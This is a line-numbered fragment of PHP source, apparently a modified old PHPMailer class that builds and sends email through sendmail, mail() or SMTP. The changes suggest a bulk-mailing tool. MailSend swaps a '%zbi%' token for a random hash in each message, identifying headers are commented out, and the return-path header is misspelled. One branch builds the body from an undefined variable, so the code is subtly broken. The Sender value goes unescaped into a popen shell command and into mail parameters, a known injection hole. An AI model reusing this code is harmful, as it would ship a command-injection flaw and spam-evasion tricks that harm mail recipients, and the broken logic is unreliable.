2640 var $SMTPDebug = false;
2641
2642
2643
2644 /**
2645
2646 * Prevents the SMTP connection from being closed after each mail
2647
2648 * sending. If this is set to true then to close the connection
2649
2650 * requires an explicit call to SmtpClose().
2651
2652 * @var bool
2653
2654 */
2655
2656 var $SMTPKeepAlive = false;
2657
2658
2659
2660 /**#@+
2661
2662 * @access private
2663
2664 */
2665
2666 var $smtp = NULL;
2667
2668 var $to = array();
2669
2670 var $cc = array();
2671
2672 var $bcc = array();
2673
2674 var $ReplyTo = array();
2675
2676 var $attachment = array();
2677
2678 var $CustomHeader = array();
2679
2680 var $message_type = "";
2681
2682 var $boundary = array();
2683
2684 var $language = array();
2685
2686 var $error_count = 0;
2687
2688 var $LE = "\n";
2689
2690 /**#@-*/
2691
2692
2693
2694 /////////////////////////////////////////////////
2695
2696 // VARIABLE METHODS
2697
2698 /////////////////////////////////////////////////
2699
2700
2701
2702 /**
2703
2704 * Sets message type to HTML.
2705
2706 * @param bool $bool
2707
2708 * @return void
2709
2710 */
2711
2712 function IsHTML($bool) {
2713
2714 if($bool == true)
2715
2716 $this->ContentType = "text/html";
2717
2718 else
2719
2720 $this->ContentType = "text/plain";
2721
2722 }
2723
2724
2725
2726 /**
2727
2728 * Sets Mailer to send message using SMTP.
2729
2730 * @return void
2731
2732 */
2733
2734 function IsSMTP() {
2735
2736 $this->Mailer = "smtp";
2737
2738 }
2739
2740
2741
2742 /**
2743
2744 * Sets Mailer to send message using PHP mail() function.
2745
2746 * @return void
2747
2748 */
2749
2750 function IsMail() {
2751
2752 $this->Mailer = "mail";
2753
2754 }
2755
2756
2757
2758 /**
2759
2760 * Sets Mailer to send message using the $Sendmail program.
2761
2762 * @return void
2763
2764 */
2765
2766 function IsSendmail() {
2767
2768 $this->Mailer = "sendmail";
2769
2770 }
2771
2772
2773
2774 /**
2775
2776 * Sets Mailer to send message using the qmail MTA.
2777
2778 * @return void
2779
2780 */
2781
2782 function IsQmail() {
2783
2784 $this->Sendmail = "/var/qmail/bin/sendmail";
2785
2786 $this->Mailer = "sendmail";
2787
2788 }
2789
2790
2791
2792
2793
2794 /////////////////////////////////////////////////
2795
2796 // RECIPIENT METHODS
2797
2798 /////////////////////////////////////////////////
2799
2800
2801
2802 /**
2803
2804 * Adds a "To" address.
2805
2806 * @param string $address
2807
2808 * @param string $name
2809
2810 * @return void
2811
2812 */
2813
2814 function AddAddress($address, $name = "") {
2815
2816 $cur = count($this->to);
2817
2818 $this->to[$cur][0] = trim($address);
2819
2820 $this->to[$cur][1] = $name;
2821
2822 }
2823
2824
2825
2826 /**
2827
2828 * Adds a "Cc" address. Note: this function works
2829
2830 * with the SMTP mailer on win32, not with the "mail"
2831
2832 * mailer.
2833
2834 * @param string $address
2835
2836 * @param string $name
2837
2838 * @return void
2839
2840 */
2841
2842 function AddCC($address, $name = "") {
2843
2844 $cur = count($this->cc);
2845
2846 $this->cc[$cur][0] = trim($address);
2847
2848 $this->cc[$cur][1] = $name;
2849
2850 }
2851
2852
2853
2854 /**
2855
2856 * Adds a "Bcc" address. Note: this function works
2857
2858 * with the SMTP mailer on win32, not with the "mail"
2859
2860 * mailer.
2861
2862 * @param string $address
2863
2864 * @param string $name
2865
2866 * @return void
2867
2868 */
2869
2870 function AddBCC($address, $name = "") {
2871
2872 $cur = count($this->bcc);
2873
2874 $this->bcc[$cur][0] = trim($address);
2875
2876 $this->bcc[$cur][1] = $name;
2877
2878 }
2879
2880
2881
2882 /**
2883
2884 * Adds a "Reply-to" address.
2885
2886 * @param string $address
2887
2888 * @param string $name
2889
2890 * @return void
2891
2892 */
2893
2894 function AddReplyTo($address, $name = "") {
2895
2896 $cur = count($this->ReplyTo);
2897
2898 $this->ReplyTo[$cur][0] = trim($address);
2899
2900 $this->ReplyTo[$cur][1] = $name;
2901
2902 }
2903
2904
2905
2906
2907
2908 /////////////////////////////////////////////////
2909
2910 // MAIL SENDING METHODS
2911
2912 /////////////////////////////////////////////////
2913
2914
2915
2916 /**
2917
2918 * Creates message and assigns Mailer. If the message is
2919
2920 * not sent successfully then it returns false. Use the ErrorInfo
2921
2922 * variable to view description of the error.
2923
2924 * @return bool
2925
2926 */
2927
2928 function Send() {
2929
2930 $header = "";
2931
2932 $body = "";
2933
2934 $result = true;
2935
2936
2937
2938 if((count($this->to) + count($this->cc) + count($this->bcc)) < 1)
2939
2940 {
2941
2942 $this->SetError($this->Lang("provide_address"));
2943
2944 return false;
2945
2946 }
2947
2948
2949
2950 // Set whether the message is multipart/alternative
2951
2952 if(!empty($this->AltBody))
2953
2954 $this->ContentType = "multipart/alternative";
2955
2956
2957
2958 $this->error_count = 0; // reset errors
2959
2960 $this->SetMessageType();
2961
2962 $header .= $this->CreateHeader();
2963
2964 $body = $this->CreateBody();
2965
2966
2967
2968 if($body == "") { return false; }
2969
2970
2971
2972 // Choose the mailer
2973
2974 switch($this->Mailer)
2975
2976 {
2977
2978 case "sendmail":
2979
2980 $result = $this->SendmailSend($header, $body);
2981
2982 break;
2983
2984 case "mail":
2985
2986 $result = $this->MailSend($header, $body);
2987
2988 break;
2989
2990 case "smtp":
2991
2992 $result = $this->SmtpSend($header, $body);
2993
2994 break;
2995
2996 default:
2997
2998 $this->SetError($this->Mailer . $this->Lang("mailer_not_supported"));
2999
3000 $result = false;
3001
3002 break;
3003
3004 }
3005
3006
3007
3008 return $result;
3009
3010 }
3011
3012
3013
3014 /**
3015
3016 * Sends mail using the $Sendmail program.
3017
3018 * @access private
3019
3020 * @return bool
3021
3022 */
3023
3024 function SendmailSend($header, $body) {
3025
3026 if ($this->Sender != "")
3027
3028 $sendmail = sprintf("%s -oi -f %s -t", $this->Sendmail, $this->Sender);
3029
3030 else
3031
3032 $sendmail = sprintf("%s -oi -t", $this->Sendmail);
3033
3034
3035
3036 if(!@$mail = popen($sendmail, "w"))
3037
3038 {
3039
3040 $this->SetError($this->Lang("execute") . $this->Sendmail);
3041
3042 return false;
3043
3044 }
3045
3046
3047
3048 fputs($mail, $header);
3049
3050 fputs($mail, $body);
3051
3052
3053
3054 $result = pclose($mail) >> 8 & 0xFF;
3055
3056 if($result != 0)
3057
3058 {
3059
3060 $this->SetError($this->Lang("execute") . $this->Sendmail);
3061
3062 return false;
3063
3064 }
3065
3066
3067
3068 return true;
3069
3070 }
3071
3072
3073
3074 /**
3075
3076 * Sends mail using the PHP mail() function.
3077
3078 * @access private
3079
3080 * @return bool
3081
3082 */
3083
3084 function MailSend($header, $body) {
3085
3086
3087
3088 $to = "";
3089
3090 for($i = 0; $i < count($this->to); $i++)
3091
3092 {
3093
3094 if($i != 0) { $to .= ", "; }
3095
3096 $to .= $this->to[$i][0];
3097
3098 }
3099
3100
3101
3102 if ($this->Sender != "" && strlen(ini_get("safe_mode"))< 1)
3103
3104 {
3105
3106 $old_from = ini_get("sendmail_from");
3107
3108 ini_set("sendmail_from", $this->Sender);
3109
3110 $params = sprintf("-oi -f %s", $this->Sender);
3111
3112 $random=rand(0,100000000000);
3113
3114 $md5=md5("$random");
3115
3116 $body = str_replace("%zbi%", $md5, $Subject);
3117
3118 $rt = @mail($to, $this->EncodeHeader($this->Subject), $body,
3119
3120 $header, $params);
3121
3122 }
3123
3124 else
3125
3126 {
3127
3128 $random=rand(0,100000000000);
3129
3130 $md5=md5("$random");
3131
3132 $body = str_replace("%zbi%", $md5, $body);
3133
3134 $rt = @mail($to, $this->EncodeHeader($this->Subject), $body, $header);
3135
3136 }
3137
3138
3139
3140
3141
3142 if (isset($old_from))
3143
3144 ini_set("sendmail_from", $old_from);
3145
3146
3147
3148 if(!$rt)
3149
3150 {
3151
3152 $this->SetError($this->Lang("instantiate"));
3153
3154 return false;
3155
3156 }
3157
3158
3159
3160 return true;
3161
3162 }
3163
3164
3165
3166 /**
3167
3168 * Sends mail via SMTP using PhpSMTP (Author:
3169
3170 * Chris Ryan). Returns bool. Returns false if there is a
3171
3172 * bad MAIL FROM, RCPT, or DATA input.
3173
3174 * @access private
3175
3176 * @return bool
3177
3178 */
3179
3180 function SmtpSend($header, $body) {
3181
3182 //include_once($this->PluginDir . "class.smtp.php");
3183
3184 $error = "";
3185
3186 $bad_rcpt = array();
3187
3188
3189
3190 if(!$this->SmtpConnect())
3191
3192 {
3193
3194 return false;
3195
3196 }
3197
3198
3199
3200 $smtp_from = ($this->Sender == "") ? $this->From : $this->Sender;
3201
3202 if(!$this->smtp->Mail($smtp_from))
3203
3204 {
3205
3206 $error = $this->Lang("from_failed") . $smtp_from;
3207
3208 $this->SetError($error);
3209
3210 $this->smtp->Reset();
3211
3212 return false;
3213
3214 }
3215
3216
3217
3218 // Attempt to send attach all recipients
3219
3220 for($i = 0; $i < count($this->to); $i++)
3221
3222 {
3223
3224 if(!$this->smtp->Recipient($this->to[$i][0]))
3225
3226 $bad_rcpt[] = $this->to[$i][0];
3227
3228 }
3229
3230 for($i = 0; $i < count($this->cc); $i++)
3231
3232 {
3233
3234 if(!$this->smtp->Recipient($this->cc[$i][0]))
3235
3236 $bad_rcpt[] = $this->cc[$i][0];
3237
3238 }
3239
3240 for($i = 0; $i < count($this->bcc); $i++)
3241
3242 {
3243
3244 if(!$this->smtp->Recipient($this->bcc[$i][0]))
3245
3246 $bad_rcpt[] = $this->bcc[$i][0];
3247
3248 }
3249
3250
3251
3252 if(count($bad_rcpt) > 0) // Create error message
3253
3254 {
3255
3256 for($i = 0; $i < count($bad_rcpt); $i++)
3257
3258 {
3259
3260 if($i != 0) { $error .= ", "; }
3261
3262 $error .= $bad_rcpt[$i];
3263
3264 }
3265
3266 $error = $this->Lang("recipients_failed") . $error;
3267
3268 $this->SetError($error);
3269
3270 $this->smtp->Reset();
3271
3272 return false;
3273
3274 }
3275
3276
3277
3278 if(!$this->smtp->Data($header . $body))
3279
3280 {
3281
3282 $this->SetError($this->Lang("data_not_accepted"));
3283
3284 $this->smtp->Reset();
3285
3286 return false;
3287
3288 }
3289
3290 if($this->SMTPKeepAlive == true)
3291
3292 $this->smtp->Reset();
3293
3294 else
3295
3296 $this->SmtpClose();
3297
3298
3299
3300 return true;
3301
3302 }
3303
3304
3305
3306 ###############################################
3307
3308 ###############################################
3309
3310 ### Returns the current smtp error, if one. ###
3311
3312 ###############################################
3313
3314 ###############################################
3315
3316 function SmtpGetError()
3317
3318 {
3319
3320 if( !empty($this->smtp) )
3321
3322 {
3323
3324 return $this->smtp->smtpError;
3325
3326 }
3327
3328 else
3329
3330 {
3331
3332 return false;
3333
3334 }
3335
3336 }
3337
3338
3339
3340 ###############################################
3341
3342 ###############################################
3343
3344 ### Returns the current smtp data error ###
3345
3346 ###############################################
3347
3348 ###############################################
3349
3350 function SmtpGetSendError()
3351
3352 {
3353
3354 if( !empty($this->smtp) )
3355
3356 {
3357
3358 return $this->smtp->smtpSendError;
3359
3360 }
3361
3362 else
3363
3364 {
3365
3366 return false;
3367
3368 }
3369
3370 }
3371
3372
3373
3374 function SmtpSetSendError($n)
3375
3376 {
3377
3378 $this->smtp->smtpSendError = $n;
3379
3380 }
3381
3382
3383
3384 /**
3385
3386 * Initiates a connection to an SMTP server. Returns false if the
3387
3388 * operation failed.
3389
3390 * @access private
3391
3392 * @return bool
3393
3394 */
3395
3396 function SmtpConnect() {
3397
3398 if($this->smtp == NULL) { $this->smtp = new SMTP(); }
3399
3400
3401
3402 $this->smtp->do_debug = $this->SMTPDebug;
3403
3404 $hosts = explode(";", $this->Host);
3405
3406 $index = 0;
3407
3408 $connection = ($this->smtp->Connected());
3409
3410
3411
3412 // Retry while there is no connection
3413
3414 while($index < count($hosts) && $connection == false)
3415
3416 {
3417
3418 if(strstr($hosts[$index], ":"))
3419
3420 list($host, $port) = explode(":", $hosts[$index]);
3421
3422 else
3423
3424 {
3425
3426 $host = $hosts[$index];
3427
3428 $port = $this->Port;
3429
3430 }
3431
3432
3433
3434 if($this->smtp->Connect($host, $port, $this->Timeout))
3435
3436 {
3437
3438 if ($this->Helo != '')
3439
3440 $this->smtp->Hello($this->Helo);
3441
3442 else
3443
3444 $this->smtp->Hello($this->ServerHostname());
3445
3446
3447
3448 if($this->SMTPAuth)
3449
3450 {
3451
3452 if(!$this->smtp->Authenticate($this->Username,
3453
3454 $this->Password))
3455
3456 {
3457
3458 $this->SetError($this->Lang("authenticate"));
3459
3460 $this->smtp->Reset();
3461
3462 $connection = false;
3463
3464 }
3465
3466 else
3467
3468 {
3469
3470 $connection = true;
3471
3472 }
3473
3474 }
3475
3476 else
3477
3478 {
3479
3480 $connection = true;
3481
3482 }
3483
3484 }
3485
3486 $index++;
3487
3488 }
3489
3490
3491
3492 if(!$connection)
3493
3494 $this->SetError($this->Lang("connect_host"));
3495
3496
3497
3498 return $connection;
3499
3500 }
3501
3502
3503
3504 /**
3505
3506 * Closes the active SMTP session if one exists.
3507
3508 * @return void
3509
3510 */
3511
3512 function SmtpClose() {
3513
3514 if($this->smtp != NULL)
3515
3516 {
3517
3518 if($this->smtp->Connected())
3519
3520 {
3521
3522 $this->smtp->Quit();
3523
3524 $this->smtp->Close();
3525
3526 }
3527
3528 }
3529
3530 }
3531
3532
3533
3534 /**
3535
3536 * Sets the language for all class error messages. Returns false
3537
3538 * if it cannot load the language file. The default language type
3539
3540 * is English.
3541
3542 * @param string $lang_type Type of language (e.g. Portuguese: "br")
3543
3544 * @param string $lang_path Path to the language file directory
3545
3546 * @access public
3547
3548 * @return bool
3549
3550 */
3551
3552 function SetLanguage($nouse, $nouse2=null) {
3553
3554 $PHPMAILER_LANG["provide_address"] = 'You must provide at least one ' .
3555
3556 'recipient email address.';
3557
3558 $PHPMAILER_LANG["mailer_not_supported"] = ' mailer is not supported.';
3559
3560 $PHPMAILER_LANG["execute"] = 'Could not execute: ';
3561
3562 $PHPMAILER_LANG["instantiate"] = 'Could not instantiate mail function.';
3563
3564 $PHPMAILER_LANG["authenticate"] = 'SMTP Error: Could not authenticate.';
3565
3566 $PHPMAILER_LANG["from_failed"] = 'The following From address failed: ';
3567
3568 $PHPMAILER_LANG["recipients_failed"] = 'SMTP Error: The following ' .
3569
3570 'recipients failed: ';
3571
3572 $PHPMAILER_LANG["data_not_accepted"] = 'SMTP Error: Data not accepted.';
3573
3574 $PHPMAILER_LANG["connect_host"] = 'SMTP Error: Could not connect to SMTP host.';
3575
3576 $PHPMAILER_LANG["file_access"] = 'Could not access file: ';
3577
3578 $PHPMAILER_LANG["file_open"] = 'File Error: Could not open file: ';
3579
3580 $PHPMAILER_LANG["encoding"] = 'Unknown encoding: ';
3581
3582
3583
3584 $this->language = $PHPMAILER_LANG;
3585
3586
3587
3588 return true;
3589
3590 }
3591
3592
3593
3594 /////////////////////////////////////////////////
3595
3596 // MESSAGE CREATION METHODS
3597
3598 /////////////////////////////////////////////////
3599
3600
3601
3602 /**
3603
3604 * Creates recipient headers.
3605
3606 * @access private
3607
3608 * @return string
3609
3610 */
3611
3612 function AddrAppend($type, $addr) {
3613
3614 $addr_str = $type . ": ";
3615
3616 $addr_str .= $this->AddrFormat($addr[0]);
3617
3618 if(count($addr) > 1)
3619
3620 {
3621
3622 for($i = 1; $i < count($addr); $i++)
3623
3624 $addr_str .= ", " . $this->AddrFormat($addr[$i]);
3625
3626 }
3627
3628 $addr_str .= $this->LE;
3629
3630
3631
3632 return $addr_str;
3633
3634 }
3635
3636
3637
3638 /**
3639
3640 * Formats an address correctly.
3641
3642 * @access private
3643
3644 * @return string
3645
3646 */
3647
3648 function AddrFormat($addr) {
3649
3650 if(empty($addr[1]))
3651
3652 $formatted = $addr[0];
3653
3654 else
3655
3656 {
3657
3658 $formatted = $this->EncodeHeader($addr[1], 'phrase') . " <" .
3659
3660 $addr[0] . ">";
3661
3662 }
3663
3664
3665
3666 return $formatted;
3667
3668 }
3669
3670
3671
3672 /**
3673
3674 * Wraps message for use with mailers that do not
3675
3676 * automatically perform wrapping and for quoted-printable.
3677
3678 * Original written by philippe.
3679
3680 * @access private
3681
3682 * @return string
3683
3684 */
3685
3686 function WrapText($message, $length, $qp_mode = false) {
3687
3688 $soft_break = ($qp_mode) ? sprintf(" =%s", $this->LE) : $this->LE;
3689
3690
3691
3692 $message = $this->FixEOL($message);
3693
3694 if (substr($message, -1) == $this->LE)
3695
3696 $message = substr($message, 0, -1);
3697
3698
3699
3700 $line = explode($this->LE, $message);
3701
3702 $message = "";
3703
3704 for ($i=0 ;$i < count($line); $i++)
3705
3706 {
3707
3708 $line_part = explode(" ", $line[$i]);
3709
3710 $buf = "";
3711
3712 for ($e = 0; $e<count($line_part); $e++)
3713
3714 {
3715
3716 $word = $line_part[$e];
3717
3718 if ($qp_mode and (strlen($word) > $length))
3719
3720 {
3721
3722 $space_left = $length - strlen($buf) - 1;
3723
3724 if ($e != 0)
3725
3726 {
3727
3728 if ($space_left > 20)
3729
3730 {
3731
3732 $len = $space_left;
3733
3734 if (substr($word, $len - 1, 1) == "=")
3735
3736 $len--;
3737
3738 elseif (substr($word, $len - 2, 1) == "=")
3739
3740 $len -= 2;
3741
3742 $part = substr($word, 0, $len);
3743
3744 $word = substr($word, $len);
3745
3746 $buf .= " " . $part;
3747
3748 $message .= $buf . sprintf("=%s", $this->LE);
3749
3750 }
3751
3752 else
3753
3754 {
3755
3756 $message .= $buf . $soft_break;
3757
3758 }
3759
3760 $buf = "";
3761
3762 }
3763
3764 while (strlen($word) > 0)
3765
3766 {
3767
3768 $len = $length;
3769
3770 if (substr($word, $len - 1, 1) == "=")
3771
3772 $len--;
3773
3774 elseif (substr($word, $len - 2, 1) == "=")
3775
3776 $len -= 2;
3777
3778 $part = substr($word, 0, $len);
3779
3780 $word = substr($word, $len);
3781
3782
3783
3784 if (strlen($word) > 0)
3785
3786 $message .= $part . sprintf("=%s", $this->LE);
3787
3788 else
3789
3790 $buf = $part;
3791
3792 }
3793
3794 }
3795
3796 else
3797
3798 {
3799
3800 $buf_o = $buf;
3801
3802 $buf .= ($e == 0) ? $word : (" " . $word);
3803
3804
3805
3806 if (strlen($buf) > $length and $buf_o != "")
3807
3808 {
3809
3810 $message .= $buf_o . $soft_break;
3811
3812 $buf = $word;
3813
3814 }
3815
3816 }
3817
3818 }
3819
3820 $message .= $buf . $this->LE;
3821
3822 }
3823
3824
3825
3826 return $message;
3827
3828 }
3829
3830
3831
3832 /**
3833
3834 * Set the body wrapping.
3835
3836 * @access private
3837
3838 * @return void
3839
3840 */
3841
3842 function SetWordWrap() {
3843
3844 if($this->WordWrap < 1)
3845
3846 return;
3847
3848
3849
3850 switch($this->message_type)
3851
3852 {
3853
3854 case "alt":
3855
3856 // fall through
3857
3858 case "alt_attachments":
3859
3860 $this->AltBody = $this->WrapText($this->AltBody, $this->WordWrap);
3861
3862 break;
3863
3864 default:
3865
3866 $this->Body = $this->WrapText($this->Body, $this->WordWrap);
3867
3868 break;
3869
3870 }
3871
3872 }
3873
3874
3875
3876 /**
3877
3878 * Assembles message header.
3879
3880 * @access private
3881
3882 * @return string
3883
3884 */
3885
3886 function CreateHeader() {
3887
3888 $result = "";
3889
3890
3891
3892 // Set the boundaries
3893
3894 $uniq_id = md5(uniqid(time()));
3895
3896 $this->boundary[1] = "--NextPart1--_" . $uniq_id;
3897
3898 $this->boundary[2] = "--NextPart1--" . $uniq_id;
3899
3900
3901
3902 $result .= $this->HeaderLine("Date", $this->RFCDate());
3903
3904 if($this->Sender == "")
3905
3906 $result .= $this->HeaderLine("Retn-Path", trim($this->From));
3907
3908 else
3909
3910 $result .= $this->HeaderLine("Retn-Path", trim($this->Sender));
3911
3912
3913
3914 // To be created automatically by mail()
3915
3916 if($this->Mailer != "mail")
3917
3918 {
3919
3920 if(count($this->to) > 0)
3921
3922 $result .= $this->AddrAppend("To", $this->to);
3923
3924 else if (count($this->cc) == 0)
3925
3926 $result .= $this->HeaderLine("To", "undisclosed-recipients:;");
3927
3928 if(count($this->cc) > 0)
3929
3930 $result .= $this->AddrAppend("Cc", $this->cc);
3931
3932 }
3933
3934
3935
3936 $from = array();
3937
3938 $from[0][0] = trim($this->From);
3939
3940 $from[0][1] = $this->FromName;
3941
3942 $result .= $this->AddrAppend("From", $from);
3943
3944
3945
3946 // sendmail and mail() extract Bcc from the header before sending
3947
3948 if((($this->Mailer == "sendmail") || ($this->Mailer == "mail")) && (count($this->bcc) > 0))
3949
3950 $result .= $this->AddrAppend("Bcc", $this->bcc);
3951
3952
3953
3954 // if(count($this->ReplyTo) > 0)
3955
3956 // $result .= $this->AddrAppend("Reply-to", $this->ReplyTo);
3957
3958
3959
3960 // mail() sets the subject itself
3961
3962 if($this->Mailer != "mail")
3963
3964 $result .= $this->HeaderLine("Subject", $this->EncodeHeader(trim($this->Subject)));
3965
3966
3967
3968 //$result .= sprintf("Message-ID: <%s@%s>%s", $uniq_id, $this->ServerHostname(), $this->LE);
3969
3970 //$result .= $this->HeaderLine("X-Priority", $this->Priority);
3971
3972 //$result .= $this->HeaderLine("X-Mailer", $this->XMailer);
3973
3974 //$result .= $this->HeaderLine("Thread-Topic", $this->ThreadTopic);
3975
3976 //$result .= $this->HeaderLine("X-SG-EID", $this->XSGEID);
3977
3978 //$result .= $this->HeaderLine("Return-Path", $this->ReturnPath);
3979
3980 if($this->ConfirmReadingTo != "")
3981
3982 {
3983
3984 $result .= $this->HeaderLine("Disposition-Notification-To",
3985
3986 "<" . trim($this->ConfirmReadingTo) . ">");
3987
3988 }
3989
3990
3991
3992 // Add custom headers
3993
3994 /*for($index = 0; $index < count($this->CustomHeader); $index++)
3995
3996 {
3997
3998 $result .= $this->HeaderLine(trim($this->CustomHeader[$index][0]),
3999
4000 $this->EncodeHeader(trim($this->CustomHeader[$index][1])));
4001
4002 }*/
4003
4004
4005
4006 foreach( $this->CustomHeader as $headerName => $headerValue )
4007
4008 {
4009
4010 $result .= $this->HeaderLine(trim($headerName),
4011
4012 $this->EncodeHeader(trim($headerValue)));
4013
4014 }
4015
4016
4017
4018 $result .= $this->HeaderLine("MIME-Version", "1.0");
4019
4020
4021
4022 switch($this->message_type)
4023
4024 {
4025
4026 case "plain":
4027
4028 $result .= $this->HeaderLine("Content-Transfer-Encoding", $this->Encoding);
4029
4030 $result .= sprintf("Content-Type: %s; charset=\"%s\"",
4031
4032 $this->ContentType, $this->CharSet);
4033
4034 break;
4035
4036 case "attachments":
4037
4038 // fall through
4039
4040 case "alt_attachments":
4041
4042 if($this->InlineImageExists())
4043
4044 {
4045
4046 $result .= sprintf("Content-Type: %s;%s\ttype=\"text/html\";%s\tboundary=\"%s\"%s",
4047
4048 "multipart/related", $this->LE, $this->LE,
4049
4050 $this->boundary[1], $this->LE);
4051
4052 }
4053
4054 else
4055
4056 {
4057
4058 $result .= $this->HeaderLine("Content-Type", "multipart/mixed;");
4059
4060 $result .= $this->TextLine("\tboundary=\"" . $this->boundary[1] . '"');
4061
4062 }
4063
4064 break;
4065
4066 case "alt":
4067
4068 $result .= $this->HeaderLine("Content-Type", "multipart/alternative;");
4069
4070 $result .= $this->TextLine("\tboundary=\"" . $this->boundary[1] . '"');
4071
4072 break;
4073
4074 }
4075
4076
4077
4078 if($this->Mailer != "mail")
4079
4080 $result .= $this->LE.$this->LE;
4081
4082
4083
4084 return $result;
4085
4086 }
4087
4088
4089
4090 /**
4091
4092 * Assembles the message body. Returns an empty string on failure.
4093
4094 * @access private
4095
4096 * @return string
4097
4098 */
4099
4100 function CreateBody() {
4101
4102 $result = "";
4103
4104
4105
4106 $this->SetWordWrap();
4107
4108
4109
4110 switch($this->message_type)
4111
4112 {
4113
4114 case "alt":
4115
4116 $result .= $this->GetBoundary($this->boundary[1], "",
4117
4118 "text/plain", "");
4119
4120 $result .= $this->EncodeString($this->AltBody, $this->Encoding);
4121
4122 $result .= $this->LE.$this->LE;
4123
4124 $result .= $this->GetBoundary($this->boundary[1], "",
4125
4126 "text/html", "");
4127
4128
4129
4130 $result .= $this->EncodeString($this->Body, $this->Encoding);
4131
4132 $result .= $this->LE.$this->LE;
4133
4134
4135
4136 $result .= $this->EndBoundary($this->boundary[1]);
4137
4138 break;
4139
4140 case "plain":
4141
4142 $result .= $this->EncodeString($this->Body, $this->Encoding);
4143
4144 break;
4145
4146 case "attachments":
4147
4148 $result .= $this->GetBoundary($this->boundary[1], "", "", "");
4149
4150 $result .= $this->EncodeString($this->Body, $this->Encoding);
4151
4152 $result .= $this->LE;
4153
4154
4155
4156 $result .= $this->AttachAll();
4157
4158 break;
4159
4160 case "alt_attachments":
4161
4162 $result .= sprintf("--%s%s", $this->boundary[1], $this->LE);
4163
4164 $result .= sprintf("Content-Type: %s;%s" .
4165
4166 "\tboundary=\"%s\"%s",
4167
4168 "multipart/alternative", $this->LE,
4169
4170 $this->boundary[2], $this->LE.$this->LE);
4171
4172
4173
4174 // Create text body
4175
4176 $result .= $this->GetBoundary($this->boundary[2], "",
4177
4178 "text/plain", "") . $this->LE;
4179
4180
4181
4182 $result .= $this->EncodeString($this->AltBody, $this->Encoding);
4183
4184 $result .= $this->LE.$this->LE;
4185
4186
4187
4188 // Create the HTML body
4189
4190 $result .= $this->GetBoundary($this->boundary[2], "",
4191
4192 "text/html", "") . $this->LE;
4193
4194
4195
4196 $result .= $this->EncodeString($this->Body, $this->Encoding);
4197
4198 $result .= $this->LE.$this->LE;
4199
4200
4201
4202 $result .= $this->EndBoundary($this->boundary[2]);
4203
4204
4205
4206 $result .= $this->AttachAll();
4207
4208 break;
4209
4210 }
4211
4212 if($this->IsError())
4213
4214 $result = "";
4215
4216
4217
4218 return $result;
4219
4220 }
4221
4222
4223
4224 /**
4225
4226 * Returns the start of a message boundary.
4227
4228 * @access private
4229
4230 */
4231
4232 function GetBoundary($boundary, $charSet, $contentType, $encoding) {
4233
4234 $result = "";
4235
4236 if($charSet == "") { $charSet = $this->CharSet; }
4237
4238 if($contentType == "") { $contentType = $this->ContentType; }
4239
4240 if($encoding == "") { $encoding = $this->Encoding; }
4241
4242
4243
4244 $result .= $this->TextLine("--" . $boundary);
4245
4246 $result .= sprintf("Content-Type: %s; charset = \"%s\"",
4247
4248 $contentType, $charSet);
4249
4250 $result .= $this->LE;
4251
4252 $result .= $this->HeaderLine("Content-Transfer-Encoding", $encoding);
4253
4254 $result .= $this->LE;
4255
4256
4257
4258 return $result;
4259
4260 }
4261
4262
4263
4264 /**
4265
4266 * Returns the end of a message boundary.
4267
4268 * @access private
4269
4270 */
4271
4272 function EndBoundary($boundary) {
4273
4274 return $this->LE . "--" . $boundary . "--" . $this->LE;
4275
4276 }
4277
4278
4279
4280 /**
4281
4282 * Sets the message type.
4283
4284 * @access private
4285
4286 * @return void
4287
4288 */
4289
4290 function SetMessageType() {
4291
4292 if(count($this->attachment) < 1 && strlen($this->AltBody) < 1)
4293
4294 $this->message_type = "plain";
4295
4296 else
4297
4298 {
4299
4300 if(count($this->attachment) > 0)
4301
4302 $this->message_type = "attachments";
4303
4304 if(strlen($this->AltBody) > 0 && count($this->attachment) < 1)
4305
4306 $this->message_type = "alt";
4307
4308 if(strlen($this->AltBody) > 0 && count($this->attachment) > 0)
4309
4310 $this->message_type = "alt_attachments";
4311
4312 }
4313
4314 }
4315
4316
4317
4318 /**
4319
4320 * Returns a formatted header line.
4321
4322 * @access private
4323
4324 * @return string
4325
4326 */
4327
4328 function HeaderLine($name, $value) {
4329
4330 return $name . ": " . $value . $this->LE;
4331
4332 }
4333
4334
4335
4336 /**
4337
4338 * Returns a formatted mail line.
4339
4340 * @access private
4341
4342 * @return string
4343
4344 */
4345
4346 function TextLine($value) {
4347
4348 return $value . $this->LE;
4349
4350 }
4351
4352
4353
4354 /////////////////////////////////////////////////
4355
4356 // ATTACHMENT METHODS
4357
4358 /////////////////////////////////////////////////
4359
4360
4361
4362 /**
4363
4364 * Adds an attachment from a path on the filesystem.
4365
4366 * Returns false if the file could not be found
4367
4368 * or accessed.
4369
4370 * @param string $path Path to the attachment.
4371
4372 * @param string $name Overrides the attachment name.
4373
4374 * @param string $encoding File encoding (see $Encoding).
4375
4376 * @param string $type File extension (MIME) type.
4377
4378 * @return bool
4379
4380 */
4381
4382 function AddAttachment($path, $name = "", $encoding = "base64",
4383
4384 $type = "application/octet-stream") {
4385
4386 if(!@is_file($path))
4387
4388 {
4389
4390 $this->SetError($this->Lang("file_access") . $path);
4391
4392 return false;
4393
4394
4395
4396 }
4397
4398
4399
4400 $filename = basename($path);
4401
4402 if($name == "")
4403
4404 $name = $filename;
4405
4406
4407
4408 $cur = count($this->attachment);
4409
4410 $this->attachment[$cur][0] = $path;
4411
4412 $this->attachment[$cur][1] = $filename;
4413
4414 $this->attachment[$cur][2] = $name;
4415
4416 $this->attachment[$cur][3] = $encoding;
4417
4418 $this->attachment[$cur][4] = $type;
4419
4420 $this->attachment[$cur][5] = false; // isStringAttachment
4421
4422 $this->attachment[$cur][6] = "attachment";
4423
4424 $this->attachment[$cur][7] = 0;
4425
4426
4427
4428 return true;
4429
4430 }
4431
4432
4433
4434 /**
4435
4436 * Attaches all fs, string, and binary attachments to the message.
4437
4438 * Returns an empty string on failure.
4439
4440 * @access private
4441
4442 * @return string
4443
4444 */
4445
4446 function AttachAll() {
4447
4448 // Return text of body
4449
4450 $mime = array();
4451
4452
4453
4454 // Add all attachments
4455
4456 for($i = 0; $i < count($this->attachment); $i++)
4457
4458 {
4459
4460 // Check for string attachment
4461
4462 $bString = $this->attachment[$i][5];
4463
4464 if ($bString)
4465
4466 $string = $this->attachment[$i][0];
4467
4468 else
4469
4470 $path = $this->attachment[$i][0];
4471
4472
4473
4474 $filename = $this->attachment[$i][1];
4475
4476 $name = $this->attachment[$i][2];
4477
4478 $encoding = $this->attachment[$i][3];
4479
4480 $type = $this->attachment[$i][4];
4481
4482 $disposition = $this->attachment[$i][6];
4483
4484 $cid = $this->attachment[$i][7];
4485
4486
4487
